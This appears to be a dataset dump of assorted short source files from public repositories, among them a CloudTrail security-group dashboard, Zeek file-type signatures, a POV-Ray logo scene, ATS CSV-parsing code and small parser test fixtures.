content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
- dashboard: ec2_security_group_modifications
title: EC2 Security Group Modifications
layout: newspaper
elements:
- name: Security Group Modifications
title: Security Group Modifications
model: aws_athena_cloudtrail
explore: cloudtrail_logs
type: table
fields:
- cloudtrail_logs.event_name
- cloudtrail_logs.user_name
- cloudtrail_logs.sourceipaddress
# - cloudtrail_logs.event_time
- cloudtrail_logs.requestparameters
sorts:
- cloudtrail_logs.eventname
limit: 500
column_limit: 50
show_view_names: true
show_row_numbers: true
truncate_column_names: false
hide_totals: false
hide_row_totals: false
table_theme: gray
limit_displayed_rows: false
enable_conditional_formatting: false
conditional_formatting_ignored_fields: []
conditional_formatting_include_totals: false
conditional_formatting_include_nulls: false
listen:
Security Group: cloudtrail_logs.requestparameters
Network ID: cloudtrail_logs.requestparameters
Date: cloudtrail_logs.event_time_date
row: 8
col: 0
width: 24
height: 8
- name: How do I identify Security Modifications?
type: text
title_text: How do I identify Security Modifications?
body_text: |-
If an EC2 instance triggers a CloudWatch metric alarm for high CPU utilization, we can first look to see if there have been any security group changes (the addition of new security groups or the addition of ingress rules to an existing security group) that potentially create more traffic or load on the instance. To start the investigation, we need to look in the EC2 console for the network interface ID and security groups of the impacted EC2 instance.
The following query can help us dive deep into the security group analysis.
row: 0
col: 0
width: 12
height: 8
- name: What does the below query tell me?
type: text
title_text: What does the below query tell me?
body_text: "We’ll configure the query to filter for our network interface ID,\
\ security groups, and a time range starting X hours before the alarm occurred\
\ so we’re aware of recent changes. \n\nSet your security group filter to the\
\ group that exhibited abnormal activity.\n\nSet your Network Interface ID filter\
\ to the network ID of the impacted EC2 instance."
row: 0
col: 12
width: 12
height: 8
filters:
- name: Security Group
title: Security Group
type: field_filter
default_value: "%sg%"
model: aws_athena_cloudtrail
explore: cloudtrail_logs
field: cloudtrail_logs.requestparameters
listens_to_filters: []
allow_multiple_values: true
- name: Network ID
title: Network ID
type: field_filter
default_value: "%eni-%"
model: aws_athena_cloudtrail
explore: cloudtrail_logs
field: cloudtrail_logs.requestparameters
listens_to_filters: []
allow_multiple_values: true
- name: Date
title: Date
type: date_filter
default_value: 1 years
model: aws_athena_cloudtrail
explore: cloudtrail_logs
field: cloudtrail_logs.event_date
listens_to_filters: []
allow_multiple_values: true
| LookML | 4 | voltagebots/aws_cloudtrail_block | ec2_security_group_modifications.dashboard.lookml | [
"MIT"
] |
---------------------------------------------------------------------------
AUTHOR
Engin Tola
---------------------------------------------------------------------------
CONTACT
web : http://cvlab.epfl.ch/~tola
email : engin.tola@epfl.ch
---------------------------------------------------------------------------
LICENCE
Source code is available under the GNU General Public License. In short, if
you distribute a software that uses DAISY, you have to distribute it under
GPL with the source code. Another option is to contact us to purchase a
commercial license.
For a copy of the GPL: http://www.gnu.org/copyleft/gpl.html
If you use this code in your research please give a reference to
"A Fast Local Descriptor for Dense Matching" by Engin Tola, Vincent
Lepetit, and Pascal Fua. Computer Vision and Pattern Recognition, Alaska,
USA, June 2008
and
'Daisy: An efficient dense descriptor applied to wide baseline stereo'
Engin Tola, Vincent Lepetit and Pascal Fua
PAMI(32), No. 5, May 2010, pp. 815-830
---------------------------------------------------------------------------
CONTEXT
DAISY is a local image descriptor designed for dense wide-baseline matching
purposes. For more details about the descriptor please read the paper.
---------------------------------------------------------------------------
SOFTWARE
A. QUICK START
--------------
im = imread('frame.pgm');
dzy = compute_daisy(im);
This will compute the descriptors of every pixel in the image 'im' and
store them under 'dzy.descs'. You can extract the descriptor of a point
(y,x) with
out = display_descriptor(dzy,y,x);
In the matrix 'out', each row is a normalized histogram ( by default ).
B. DETAILED DESCRIPTION
-----------------------
The software is implemented in 2 stages: precomputation and descriptor
computation. Precomputation stage is implemented entirely on Matlab and is
done by the 'init_daisy' function. After that, descriptors are computed by
the mex file 'mex_compute_all_descriptors'.
The parameters of the descriptor can be set using
dzy = init_daisy(im, R, RQ, TQ, HQ, SI, LI, NT )
where
R : radius of the descriptor
RQ : number of rings
TQ : number of histograms on each ring
HQ : number of bins of the histograms
SI : spatial interpolation enable/disable
LI : layered interpolation enable/disable
NT : normalization type:
0 = No normalization
1 = Partial Normalization
2 = Full Normalization
3 = Sift like normalization
For more information, read the above paper and study the code.
There's also a mex file for computing a single descriptor but it is not a
good idea to use it in a for loop within matlab.
I also included matlab functions to compute a descriptor
function dsc=compute_descriptor(dzy, y, x, ori, spatial_int, hist_int, nt)
for purely matlab users but it takes a very long time to compute the
descriptors of all pixels.
---------------------------------------------------------------------------
| Matlab | 5 | nitinagarwal/Transcribing_Text_Museum_Labels | mdaisy-v1.0/usage.matlab | [
"MIT"
] |
/********************************************************************************
* Copyright (c) {date} Red Hat Inc. and/or its affiliates and others
*
* This program and the accompanying materials are made available under the
* terms of the Apache License, Version 2.0 which is available at
* http://www.apache.org/licenses/LICENSE-2.0
*
* SPDX-License-Identifier: Apache-2.0
********************************************************************************/
import org.eclipse.ceylon.ide.common.correct {
refineFormalMembersQuickFix
}
import org.eclipse.ceylon.ide.intellij.psi {
CeylonFile
}
shared class RefineFormalMembersIntention() extends AbstractIntention() {
familyName => "Refine formal members";
checkAvailable(IdeaQuickFixData data, CeylonFile file, Integer offset)
=> refineFormalMembersQuickFix.addRefineFormalMembersProposal(data, false);
}
| Ceylon | 3 | Kopilov/ceylon-ide-intellij | source/org/eclipse/ceylon/ide/intellij/correct/RefineFormalMembersIntention.ceylon | [
"Apache-2.0"
] |
FORMAT: 1A
# zkSync API v0.2
{{accountsEndpoints}}
{{batchesEndpoints}}
{{blocksEndpoints}}
{{configEndpoints}}
{{feeEndpoints}}
{{statusEndpoints}}
{{tokensEndpoints}}
{{transactionsEndpoints}}
# Data Structures
{{accountsTypes}}
{{batchesTypes}}
{{blocksTypes}}
{{configTypes}}
{{feeTypes}}
{{statusTypes}}
{{paginationTypes}}
{{receiptTypes}}
{{tokensTypes}}
{{transactionsTypes}}
## TxState (enum)
+ queued
+ committed
+ finalized
+ rejected
## BlockNumber (enum)
+ (number)
+ lastCommitted
+ lastFinalized
## Request
+ network: localhost (Network, required)
+ apiVersion: v02 (fixed, required)
+ resource: /api/v0.2/... (string, required)
+ args (object, required)
+ timestamp: `2021-05-31T14:17:24.112536900Z` (string, required)
## Error
+ errorType: errorType (string, required)
+ code: 0 (number, required)
+ message: message (string, required)
| API Blueprint | 3 | smishraIOV/ri-aggregation | infrastructure/api-docs/blueprint/template.apib | [
"Apache-2.0",
"MIT"
] |
insert into tb values (39, 'c31de5f7', 6132963007327558617);
insert into tb values (31, '41ca5898', 3595435854045943813);
insert into tb values (33, 'd4569ae7', 8241634006100964410);
insert into tb values (29, '380afa8b', 2866710402608067133);
insert into tb values (21, '6fc2c445', 4212433780813941282);
insert into tb values (22, '91237eb6', 615942301573761395);
insert into tb values (35, '506bbf54', 2438661194596296914);
insert into tb values (40, 'b4db1e25', 985298408451117863);
insert into tb values (30, 'da04df14', 6396427156555389987);
insert into tb values (36, '52675dd0', 5518460497031342003);
insert into tb values (37, '41ca5898', 8866803483914737851);
insert into tb values (38, '506bbf54', 2311195528097609814);
insert into tb values (32, 'b2fbefca', 8642459122932988416);
insert into tb values (24, '31c5201f', 3887520592356018852);
insert into tb values (26, '6fc2c445', 7712377070792382029);
insert into tb values (25, 'd414a9cc', 65024543486493596);
insert into tb values (27, '9bfd4ae6', 5934976760459707765);
insert into tb values (23, 'ba35e4b8', 1439528719176171020);
insert into tb values (28, '9bfd4ae6', 9150828604266245264);
insert into tb values (34, 'da04df14', 9060901547575032392);
| SQL | 2 | cuishuang/tidb | br/tests/lightning_duplicate_detection/data/dup_detect.tb.1.sql | [
"Apache-2.0"
] |
div.svelte-xyz+article.svelte-xyz.svelte-xyz{color:green}span.svelte-xyz+b.svelte-xyz.svelte-xyz{color:green}div.svelte-xyz span.svelte-xyz+b.svelte-xyz{color:green}.a.svelte-xyz+article.svelte-xyz.svelte-xyz{color:green}div.svelte-xyz+.b.svelte-xyz.svelte-xyz{color:green} | CSS | 1 | Theo-Steiner/svelte | test/css/samples/siblings-combinator/expected.css | [
"MIT"
] |
create table quniya4(name varchar(255) null,value varchar(255) null,id int not null,constraint quniya4_pk primary key (id));
alter table quniya4 modify id int not null first;
alter table quniya4 modify id int auto_increment; | SQL | 3 | yuanweikang2020/canal | parse/src/test/resources/ddl/ddl_test3.sql | [
"Apache-2.0"
] |
<style type="text/css">
a:link { color: #46641e; text-decoration: none}
.ident { color: #46641e }
</style>
<link rel="icon" href="https://developers.google.com/optimization/images/orLogo.png"> | Mako | 2 | AlohaChina/or-tools | tools/doc/templates/head.mako | [
"Apache-2.0"
] |
package com.baeldung.tx.model;
import javax.persistence.*;
@Entity
public class Payment {
@Id
@GeneratedValue
private Long id;
private Long amount;
@Column(unique = true)
private String referenceNumber;
@Enumerated(EnumType.STRING)
private State state;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public Long getAmount() {
return amount;
}
public void setAmount(Long amount) {
this.amount = amount;
}
public String getReferenceNumber() {
return referenceNumber;
}
public void setReferenceNumber(String referenceNumber) {
this.referenceNumber = referenceNumber;
}
public State getState() {
return state;
}
public void setState(State state) {
this.state = state;
}
public enum State {
STARTED, FAILED, SUCCESSFUL
}
}
| Java | 4 | DBatOWL/tutorials | persistence-modules/spring-data-jpa-annotations/src/main/java/com/baeldung/tx/model/Payment.java | [
"MIT"
] |
*** Test Cases ***
Sleep
${time1} = Get Time
Sleep 1.111
${time2} = Get Time
Sleep 0 hours 0 mins 1 S E C O N D 234 milliseconds
${time3} = Get Time
Sleep ${1.1119}
${time4} = Get Time
Should Be True '${time4}' > '${time3}' > '${time2}' > '${time1}'
Sleep With Negative Time
${start} = Get Time epoch
Sleep -1
Sleep -10 hours
${end} = Get Time epoch
Should Be True ${start} == ${end} or ${start} == ${end} - 1
Sleep With Reason
Sleep 42 ms No good reason
Invalid Time Does Not Cause Uncatchable Error
Run Keyword And Expect Error ValueError: Invalid time string 'invalid time'. Sleep invalid time
Can Stop Sleep With Timeout
[Documentation] FAIL Test timeout 10 milliseconds exceeded.
[Timeout] 10 milliseconds
Sleep 100 seconds
| RobotFramework | 4 | phil-davis/robotframework | atest/testdata/standard_libraries/builtin/sleep.robot | [
"ECL-2.0",
"Apache-2.0"
] |
reset
set title "Benchmark of concurrency 100, 1000, 5000 (Allocations)"
set boxwidth 0.9
set datafile separator ","
set style data histogram
set style histogram clustered gap 2
set style fill solid 0.7 border
set border lw 0.8
set ylabel "Allocations (MB)"
set xtics nomirror rotate by -45
set ytics nomirror
set border 1+2 back
set boxwidth -2
set grid
set term pngcairo font "Times Roman,14" enhanced size 1024,600 background rgb "gray80"
set output "../concurrency_alloc.png"
plot 't_concurrency_alloc.csv' using 2:xticlabels(1) title columnheader(2), '' using 3:xticlabels(1) title columnheader(3), '' using 4:xticlabels(1) title columnheader(4)
| Gnuplot | 3 | abahmed/go-web-framework-benchmark | testresults/concurrency_alloc.gnu | [
"Apache-2.0"
] |
// advancedfx.org logo
//
// To be rendered with POV-Ray ( http://povray.org/ ).
#declare T_Logo_bg = texture {
pigment { color rgb <1,0.25,0.125> }
finish {
diffuse 0.5
specular 0.4
phong 0.1
phong_size 1.0
}
}
#declare T_Logo_tool = texture {
pigment { color rgb <1,1,1> }
finish {
diffuse 0.5
specular 0.4
phong 0.1
phong_size 1.0
}
}
#declare T_Logo_border = texture {
pigment { color rgb <1,0.25,0.125>}
finish {
diffuse 0.2
specular 0.7
phong 0.1
phong_size 1.0
}
}
union {
light_source {
<0, 0, 0>
color rgb 1/2
}
light_source {
<-6, -6, 0>
color rgb 1/8
}
light_source {
<-6, +6, 0>
color rgb 1/8
}
light_source {
<+6, -6, 0>
color rgb 1/8
}
light_source {
<+6, +6, 0>
color rgb 1/8
}
translate <0, 0, -20>
rotate <0,-clock*360,0>
}
camera {
right 800*x/800
up y
location < 20*sin(clock*2*pi), 0, -20*cos(clock*2*pi)>
look_at < 0, 0, 0>
}
#declare eX = function(x, y) { sin(x*2*pi/y) }
#declare eY = function(x, y) { cos(x*2*pi/y) }
#declare oWrench = object {
difference {
union {
// closed end sphere:
sphere {
0 1+1/3
translate <0,-6,0>
}
// connecting thingee:
intersection {
box {
<-1,-6,-1/4> <1,6,1/4>
}
cylinder {
<0,-6,0> <0,6,0> 1
}
}
// open end sphere:
sphere {
0 2-1/6
translate <0,6,0>
}
}
// cuts at open end:
union
{
cylinder {
<0,1/6,-1>, <0,1/6,1>, 1
}
box {
<-1,2+1/6,-1>, <1,1/6,1>
}
rotate <0,0,-11.25>
translate <0,6,0>
}
// cuts at closed end:
union {
prism {
-4, 4, 12,
<eX(00,12),eY(00,12)>,
<eX(01,12),eY(01,12)>,
<eX(02,12),eY(02,12)>,
<eX(03,12),eY(03,12)>,
<eX(04,12),eY(04,12)>,
<eX(05,12),eY(05,12)>,
<eX(06,12),eY(06,12)>,
<eX(07,12),eY(07,12)>,
<eX(08,12),eY(08,12)>,
<eX(09,12),eY(09,12)>,
<eX(10,12),eY(10,12)>,
<eX(11,12),eY(11,12)>
rotate <90,0,0>
}
sphere {
<0,0,1+1/3> 1+1/3
}
sphere {
<0,0,-1-1/3> 1+1/3
}
translate <0,-6,0>
}
}
}
intersection {
union {
object {
oWrench
rotate <0,0,45>
}
object {
oWrench
rotate <0,180,-45>
}
}
// cut flat:
box {
<-10,-10,-1/2> <10,10,1/2>
}
texture { T_Logo_tool }
}
cylinder {
<0,0,-1/8>, <0,0,1/8> 9
texture { T_Logo_bg }
}
difference {
cylinder {
<0,0,-1/6>, <0,0,1/6> 9+1/6
}
cylinder {
<0,0,-1>, <0,0,1> 9-1/6
}
texture { T_Logo_border }
}
| POV-Ray SDL | 4 | markusforss/advancedfx | misc/icon/logo.pov | [
"MIT"
] |
# Macromedia Flash Video
signature file-flv {
file-mime "video/x-flv", 60
file-magic /^FLV/
}
# FLI animation
signature file-fli {
file-mime "video/x-fli", 50
file-magic /^.{4}\x11\xaf/
}
# FLC animation
signature file-flc {
file-mime "video/x-flc", 50
file-magic /^.{4}\x12\xaf/
}
# Motion JPEG 2000
signature file-mj2 {
file-mime "video/mj2", 70
file-magic /\x00\x00\x00\x0cjP \x0d\x0a\x87\x0a.{8}mjp2/
}
# MNG video
signature file-mng {
file-mime "video/x-mng", 70
file-magic /^\x8aMNG/
}
# JNG video
signature file-jng {
file-mime "video/x-jng", 70
file-magic /^\x8bJNG/
}
# Generic MPEG container
signature file-mpeg {
file-mime "video/mpeg", 50
file-magic /(\x00\x00\x01[\xb0-\xbb])/
}
# MPV
signature file-mpv {
file-mime "video/mpv", 71
file-magic /(\x00\x00\x01\xb3)/
}
# H.264
signature file-h264 {
file-mime "video/h264", 41
file-magic /(\x00\x00\x00\x01)([\x07\x27\x47\x67\x87\xa7\xc7\xe7])/
}
# WebM video
signature file-webm {
file-mime "video/webm", 70
file-magic /(\x1a\x45\xdf\xa3)(.*)(B\x82)(.{1})(webm)/
}
# Matroska video
signature file-matroska {
file-mime "video/x-matroska", 110
file-magic /(\x1a\x45\xdf\xa3)(.*)(B\x82)(.{1})(matroska)/
}
# MP2P
signature file-mp2p {
file-mime "video/mp2p", 21
file-magic /\x00\x00\x01\xba([\x40-\x7f\xc0-\xff])/
}
# MPEG transport stream data. These files typically have the extension "ts".
# Note: The 0x47 repeats every 188 bytes. Using four as the number of
# occurrences for the test here is arbitrary.
signature file-mp2t {
file-mime "video/mp2t", 40
file-magic /^(\x47.{187}){4}/
}
# Silicon Graphics video
signature file-sgi-movie {
file-mime "video/x-sgi-movie", 70
file-magic /^MOVI/
}
# Apple QuickTime movie
signature file-quicktime {
file-mime "video/quicktime", 70
file-magic /^....(mdat|moov)/
}
# MPEG v4 video
signature file-mp4 {
file-mime "video/mp4", 70
file-magic /^....ftyp(isom|mp4[12])/
}
# 3GPP Video
signature file-3gpp {
file-mime "video/3gpp", 60
file-magic /^....ftyp(3g[egps2]|avc1|mmp4)/
}
| Standard ML | 3 | yaplej/bro | scripts/base/frameworks/files/magic/video.sig | [
"Apache-2.0"
] |
// stddef.h
const void* NULL = 0;
typedef unsigned long size_t;
typedef long ptrdiff_t;
| Harbour | 3 | ueki5/cbc | import/stddef.hb | [
"Unlicense"
] |
// run-pass
#![deny(dead_code)]
const GLOBAL_BAR: u32 = 1;
struct Foo;
impl Foo {
const BAR: u32 = GLOBAL_BAR;
}
pub fn main() {
let _: u32 = Foo::BAR;
}
| Rust | 4 | Eric-Arellano/rust | src/test/ui/associated-consts/associated-const-marks-live-code.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
#ifndef TEST_INTEROP_CXX_CLASS_INLINE_FUNCTION_THROUGH_MEMBER_INPUTS_METHOD_CALLS_FUNCTION_H
#define TEST_INTEROP_CXX_CLASS_INLINE_FUNCTION_THROUGH_MEMBER_INPUTS_METHOD_CALLS_FUNCTION_H
inline int increment(int t) { return t + 1; }
struct Incrementor {
int callIncrement(int value) { return increment(value); }
};
inline int callMethod(int value) { return Incrementor().callIncrement(value); }
#endif // TEST_INTEROP_CXX_CLASS_INLINE_FUNCTION_THROUGH_MEMBER_INPUTS_METHOD_CALLS_FUNCTION_H
| C | 4 | gandhi56/swift | test/Interop/Cxx/class/inline-function-codegen/Inputs/method-calls-function.h | [
"Apache-2.0"
] |
// Daniel Shiffman
// Snakes and Ladders
// http://codingtra.in
// http://patreon.com/codingtrain
// Code for: https://youtu.be/JrRO3OnWs5s
// Processing transcription: Chuck England
// Each tile on the board
class Tile {
float x;
float y;
float wh;
int index;
int next;
int snadder = 0;
color clr;
Tile(float x_, float y_, float wh_, int index_, int next_) {
x = x_;
y = y_;
wh = wh_;
// index and next
// TODO: (next is probably redundant?)
index = index_;
next = next_;
snadder = 0;
// Checkboard pattern
if (index % 2 == 0) {
clr = 200;
} else {
clr = 100;
}
}
// Find center
PVector getCenter() {
float cx = x + wh / 2;
float cy = y + wh / 2;
return new PVector(cx, cy);
}
// Draw rectangle
void show() {
fill(clr);
noStroke();
rect(x, y, wh, wh);
}
// Highlight over rectangle
void highlight() {
fill(0, 0, 255, 100);
noStroke();
rect(x, y, wh, wh);
}
// If it's connected to another tile
// with a snake or a ladder
void showSnadders() {
if (snadder != 0) {
PVector myCenter = getCenter();
PVector nextCenter = tiles.get(index + snadder).getCenter();
strokeWeight(4);
if (snadder < 0) {
stroke(255, 0, 0, 200);
} else {
stroke(0, 255, 0, 200);
}
line(myCenter.x, myCenter.y, nextCenter.x, nextCenter.y);
}
}
}
| Processing | 4 | aerinkayne/website | CodingChallenges/CC_091_snakesladders/Processing/CC_091_snakesladders/Tile.pde | [
"MIT"
] |
// @todo The filename is .xs instead of .js to prevent eslint from linting this file.
class UnparsableProcessor extends AudioWorkletProcessor {
some 'unparsable' syntax ()
}
registerProcessor('unparsable-processor', UnparsableProcessor);
| XS | 0 | dunnky/standardized-audio-context | test/fixtures/unparsable-processor.xs | [
"MIT"
] |
-@ import val city:String = "Tampa"
- val name:String = "Hiram"
%html
%body
%p Hello #{name} from #{city}
%ul
- for ( i <- 1 to 10 )
%li Item #{i} | Scaml | 3 | btashton/pygments | tests/examplefiles/test.scaml | [
"BSD-2-Clause"
] |
USING: assocs graphs hash-sets kernel math namespaces sequences sorting
tools.test vectors ;
QUALIFIED: sets
H{ } "g" set
{ 1 2 3 } "v" set
{ } [ "v" dup get "g" get add-vertex ] unit-test
{ { "v" } } [ 1 "g" get at sets:members ] unit-test
H{
{ 1 HS{ 1 2 } }
{ 2 HS{ 3 4 } }
{ 4 HS{ 4 5 } }
} "g" set
{ { 2 3 4 5 } } [
2 [ "g" get at sets:members ] closure sets:members natural-sort
] unit-test
{ t } [ 2 [ "g" get at sets:members ] HS{ } closure-as hash-set? ] unit-test
{ t } [ 2 [ "g" get at sets:members ] closure hash-set? ] unit-test
{ t } [ 2 [ "g" get at sets:members ] V{ } closure-as vector? ] unit-test
{ V{ 5 4 3 2 1 0 } } [
5 [ [ f ] [ <iota> <reversed> ] if-zero ] V{ } closure-as
] unit-test
| Factor | 4 | melted/factor | core/graphs/graphs-tests.factor | [
"BSD-2-Clause"
] |
.section
.list-group-flush
div (:class "list-group-item border-0")
.title "I"
.container-fluid
.row
.col
.lang Java
pre.code $ code (@insert ../../code/java/dsl/01.java) $ :class java
.col
.lang Kotlin
pre.code $ code (@insert ../../code/kotlin/dsl/01.kt) $ :class kotlin
div (:class "list-group-item border-0")
.title "II"
.container-fluid
.row
.col
.lang Java
pre.code $ code (@insert ../../code/java/dsl/02.java) $ :class java
.col
.lang Kotlin
pre.code $ code (@insert ../../code/kotlin/dsl/02.kt) $ :class kotlin
div (:class "list-group-item border-0")
.title "III"
.container-fluid
.row
.col
.lang Java
pre.code $ code (@insert ../../code/java/dsl/03.java) $ :class java
.col
.lang Kotlin
pre.code $ code (@insert ../../code/kotlin/dsl/03.kt) $ :class kotlin
div (:class "list-group-item border-0")
.title "IV"
.container-fluid
.row
.col
.lang Java
pre.code $ code (@insert ../../code/java/dsl/04.java) $ :class java
.col
.lang Kotlin
pre.code $ code (@insert ../../code/kotlin/dsl/04.kt) $ :class kotlin
div (:class "list-group-item border-0")
.title "V"
.container-fluid
.row
.col
.lang Java
pre.code $ code (@insert ../../code/java/dsl/05.java) $ :class java
.col
.lang Kotlin
pre.code $ code (@insert ../../code/kotlin/dsl/05.kt) $ :class kotlin
| Cirru | 3 | driver733/kot | cirru/dsl.cirru | [
"MIT"
] |
html
height: 100%
body
background: #173529
padding: 0
margin: 0
font-family: Arial, Helvetica, sans-serif
font-size: 14px
color: #fff
padding-bottom: 40px
padding-top: 93px
position: relative
box-sizing: border-box
min-height: 100%
-webkit-font-smoothing: antialiased
ul
margin: 0
padding: 0
list-style: none
a
color: #2be6a4
text-decoration: none
&:hover
color: #4ff9bd
| Sass | 3 | oksumoron/locust | locust/static/sass/_base.sass | [
"MIT"
] |
<HTML>
<!--
* This file is part of the LibreOffice project.
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*
* This file incorporates work covered by the following license notice:
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed
* with this work for additional information regarding copyright
* ownership. The ASF licenses this file to you under the Apache
* License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of
* the License at http://www.apache.org/licenses/LICENSE-2.0 .
-->
<HEAD>
<TITLE>$$1</TITLE>
</HEAD>
<FRAMESET ROWS="90%,10%" FRAMEBORDER=yes>
<FRAME name="view" src="webcast.asp">
<FRAME name="edit" src="editpic.asp">
</FRAMESET>
</HTML> | ASP | 2 | jerrykcode/kkFileView | office-plugin/windows-office/share/config/webcast/edit.asp | [
"Apache-2.0"
] |
" Vim syntax file
" Language: Elm Filter rules
" Maintainer: Charles E. Campbell <NcampObell@SdrPchip.AorgM-NOSPAM>
" Last Change: Aug 31, 2016
" Version: 9
" URL: http://www.drchip.org/astronaut/vim/index.html#SYNTAX_ELMFILT
" quit when a syntax file was already loaded
if exists("b:current_syntax")
finish
endif
syn cluster elmfiltIfGroup contains=elmfiltCond,elmfiltOper,elmfiltOperKey,,elmfiltNumber,elmfiltOperKey
syn match elmfiltParenError "[()]"
syn match elmfiltMatchError "/"
syn region elmfiltIf start="\<if\>" end="\<then\>" contains=elmfiltParen,elmfiltParenError skipnl skipwhite nextgroup=elmfiltAction
syn region elmfiltParen contained matchgroup=Delimiter start="(" matchgroup=Delimiter end=")" contains=elmfiltParen,@elmfiltIfGroup,elmfiltThenError
syn region elmfiltMatch contained matchgroup=Delimiter start="/" skip="\\/" matchgroup=Delimiter end="/" skipnl skipwhite nextgroup=elmfiltOper,elmfiltOperKey
syn match elmfiltThenError "\<then.*$"
syn match elmfiltComment "^#.*$" contains=@Spell
syn keyword elmfiltAction contained delete execute executec forward forwardc leave save savecopy skipnl skipwhite nextgroup=elmfiltString
syn match elmfiltArg contained "[^\\]%[&0-9dDhmrsSty&]"lc=1
syn match elmfiltOperKey contained "\<contains\>" skipnl skipwhite nextgroup=elmfiltString
syn match elmfiltOperKey contained "\<matches\s" nextgroup=elmfiltMatch,elmfiltSpaceError
syn keyword elmfiltCond contained cc bcc lines always subject sender from to lines received skipnl skipwhite nextgroup=elmfiltString
syn match elmfiltNumber contained "\d\+"
syn keyword elmfiltOperKey contained and not skipnl skipwhite nextgroup=elmfiltOper,elmfiltOperKey,elmfiltString
syn match elmfiltOper contained "\~" skipnl skipwhite nextgroup=elmfiltMatch
syn match elmfiltOper contained "<=\|>=\|!=\|<\|<\|=" skipnl skipwhite nextgroup=elmfiltString,elmfiltCond,elmfiltOperKey
syn region elmfiltString contained start='"' skip='"\(\\\\\)*\\["%]' end='"' contains=elmfiltArg skipnl skipwhite nextgroup=elmfiltOper,elmfiltOperKey,@Spell
syn region elmfiltString contained start="'" skip="'\(\\\\\)*\\['%]" end="'" contains=elmfiltArg skipnl skipwhite nextgroup=elmfiltOper,elmfiltOperKey,@Spell
syn match elmfiltSpaceError contained "\s.*$"
" Define the default highlighting.
if !exists("skip_elmfilt_syntax_inits")
hi def link elmfiltAction Statement
hi def link elmfiltArg Special
hi def link elmfiltComment Comment
hi def link elmfiltCond Statement
hi def link elmfiltIf Statement
hi def link elmfiltMatch Special
hi def link elmfiltMatchError Error
hi def link elmfiltNumber Number
hi def link elmfiltOper Operator
hi def link elmfiltOperKey Type
hi def link elmfiltParenError Error
hi def link elmfiltSpaceError Error
hi def link elmfiltString String
hi def link elmfiltThenError Error
endif
let b:current_syntax = "elmfilt"
" vim: ts=9
| VimL | 4 | uga-rosa/neovim | runtime/syntax/elmfilt.vim | [
"Vim"
] |
(* ****** ****** *)
(*
// For parsing CSV tables
*)
(* ****** ****** *)
//
#include
"share/atspre_staload.hats"
#include
"share/HATS\
/atspre_staload_libats_ML.hats"
//
(* ****** ****** *)
extern
fun
print_gvhashtbl:
print_type(gvhashtbl)
overload
print with print_gvhashtbl
implement
print_gvhashtbl(kxs) =
fprint_gvhashtbl(stdout_ref, kxs)
(* ****** ****** *)
//
#include
"\
$PATSHOMELOCS\
/atscntrb-hx-csv-parse/mylibies.hats"
//
(* ****** ****** *)
//
#staload
_(*SBF*) = "libats/DATS/stringbuf.dats"
//
(* ****** ****** *)
local
#staload
CSVPARSE = $CSV_PARSE_LINE
in(*in-of-local*)
extern
fun{}
csv_parse_line(line: string): List0_vt(string)
implement
{}(*tmp*)
csv_parse_line
(line) = res0 where
{
//
var nerr: int = 0
val res0 =
$CSVPARSE.csv_parse_line_nerr<>(line, nerr)
//
val res0 = $UNSAFE.castvwtp0{List0_vt(string)}(res0)
//
} (* end of [csv_parse_line] *)
end // end of [local]
(* ****** ****** *)
//
extern
fun
gvhashtbl_make_keys_itms
( ks: list0(string)
, xs: list0(string)): gvhashtbl
//
implement
gvhashtbl_make_keys_itms
(ks, xs) = let
//
(*
val
() =
println! ("ks = ", ks)
val
() =
println! ("xs = ", xs)
*)
//
val
t0 = gvhashtbl_make_nil(8)
//
fun
auxlst
( ks: list0(string)
, xs: list0(string)): void =
(
//
case+ ks of
| list0_nil() => ()
| list0_cons(k, ks) =>
(
case+ xs of
| list0_nil() => ()
| list0_cons(x, xs) =>
auxlst(ks, xs) where
{
(*
val () = println! ("k = ", k)
val () = println! ("x = ", x)
*)
val () = (t0[k] := GVstring(x))
} (* end of [list0_cons] *)
)
//
)
in
let val () = auxlst(ks, xs) in t0 end
end // end of [gvhashtbl_make_keys_itms]
//
(* ****** ****** *)
//
staload UN = $UNSAFE
//
extern
fun
stream_vt_map_line2gvobj
(
ks: list0(string), lines: stream_vt(string)
) : stream_vt(gvhashtbl)
//
implement
stream_vt_map_line2gvobj
(ks, lines) = $ldelay
(
case+ !lines of
| ~stream_vt_nil() =>
stream_vt_nil()
| ~stream_vt_cons
(line, lines) => let
val xs =
csv_parse_line(line)
val t0 =
gvhashtbl_make_keys_itms
(ks, g0ofg1($UN.list_vt2t(xs)))
// end of [val]
in
let
val () = list_vt_free(xs)
in
stream_vt_cons
(t0, stream_vt_map_line2gvobj(ks, lines))
end
end // end of [stream_vt_cons]
, lazy_vt_free(lines) // called if the stream is freed
)
//
(* ****** ****** *)
//
extern
fun
dframe_read_fileref
(inp: FILEref): array0(gvhashtbl)
//
(* ****** ****** *)
implement
dframe_read_fileref
(inp) = kxs where
{
//
val
lines =
streamize_fileref_line(inp)
val
lines =
stream_vt_filter_cloptr
(lines, lam(line) => isneqz(line))
//
val-
~stream_vt_cons
(line0, lines) = !lines
//
val ks =
csv_parse_line<>(line0)
val kxs =
stream_vt_map_line2gvobj
(g0ofg1($UN.list_vt2t(ks)), lines)
val kxs =
array0_make_stream_vt<gvhashtbl>(kxs)
val ((*freed*)) = list_vt_free(ks)
//
} (* end of [dframe_read_fileref] *)
(* ****** ****** *)
(* end of [myread.dats] *)
| ATS | 4 | ats-lang/ATS-CodeBook | RECIPE/CSV-parsing/myread.dats | [
"MIT"
] |
{
"babel": {235
}
| JSON | 0 | wuweiweiwu/babel | packages/babel-core/test/fixtures/config/config-files/pkg-error/package.json | [
"MIT"
] |
bad = 1.2_
| TOML | 0 | vanillajonathan/julia | stdlib/TOML/test/testfiles/invalid/float-underscore-after.toml | [
"Zlib"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { Emitter } from 'vs/base/common/event';
